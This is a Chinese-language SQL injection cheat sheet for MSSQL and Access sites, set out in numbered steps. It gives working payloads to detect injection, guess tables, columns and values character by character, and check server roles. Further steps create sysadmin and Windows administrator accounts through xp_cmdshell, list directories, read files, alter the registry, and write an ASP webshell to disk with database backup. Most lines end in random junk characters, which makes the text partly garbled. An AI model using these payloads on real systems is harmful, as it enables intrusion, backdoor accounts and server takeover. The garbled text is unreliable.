1.判断是否有注入;and 1=1 ;and 1=2 e}+Zj'5
2.初步判断是否是mssql ;and user>0 e2yCWolmTS
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3.注入参数是字符'and [查询条件] and ''=' s:3b. *t<
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' AsI\#wL)
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5.判断数据库系统 F*T$n"^
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;and (select count(*) from sysobjects)>0 mssql <$u\PJF7_^
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;and (select count(*) from msysobjects)>0 access NFyKTA6
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 G@txX
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 !t+ 3DMPn
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Lg~ll$
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9.(1)猜字段的ascii值(access) m}7Nu
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 /0o#V-E)
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(2)猜字段的ascii值(mssql) XZ@|(_Z
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 /;kSa}"Q
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10.测试权限结构(mssql) bct8~dY
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- s(KSN/
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- O4Q"2
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7MGvw-Tpb7
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- {PR "}x
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- zez|l
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- MT7B'hd
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;and 1=(select IS_MEMBER('db_owner'));-- D*j^f7ab
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11.添加mssql和系统的帐户 ~Hu!iZ2]
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;exec master.dbo.sp_addlogin username;-- G{I),Y~IF
;exec master.dbo.sp_password null,username,password;-- wSw> UU
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- j8nkNE]&
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;exec master.dbo.xp_cmdshell 'net user username password 0zE@?.
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- [Ky3WppR
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- >lfuo
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- R1D ;
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12.(1)遍历目录 !?v_.
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;create table dirs(paths varchar(100), id int) ;1s+1G}_z
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;insert dirs exec master.dbo.xp_dirtree 'c:\' {}$Zff
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;and (select top 1 paths from dirs)>0 ^5.XQ0n
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) :W5W
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(2)遍历目录 &w#!
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
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;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 y)U?.@
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Dnl<w<}ZU:
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 76wNZv)9
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Z &Ciy n
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13.mssql中的存储过程 MUAs(M;
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xp_regenumvalues 注册表根键, 子键 Ps74SoD-
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Y}1c>5{bE
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xp_regread 根键,子键,键值名 xbm%+
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;exec xp_regread o87kF!x
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 XTo7fbW*
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xp_regwrite 根键,子键, 值名, 值类型, 值 -cM1]soT
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 B*,)@h
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xp_regdeletevalue 根键,子键,值名 $[A\i<#
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 D]]wJQU2
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 O=A2QykV(
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14.mssql的backup创建webshell RqtBz3v
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use model U}RBgPX!
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create table cmd(str image); ujZ`T0
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insert into cmd(str) values (''); _cX}!d!j
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backup database model to disk='c:\l.asp'; y:W6;R
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15.mssql内置函数 -2M~KlYl
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;and (select @@version)>0 获得Windows的版本号 y|2<Vc
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa (?fU l$q\
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;and (select user_name())>0 爆当前系统的连接用户 @ph!3<(In,
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;and (select db_name())>0 得到当前连接的数据库 #$I@V4O;#
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16.简洁的webshell X0VSa{
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use model V4n~Z+k
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create table cmd(str image); H#~gx_^U
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insert into cmd(str) values (''); L"qJZU
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backup database model to disk='g:\wwwtest\l.asp';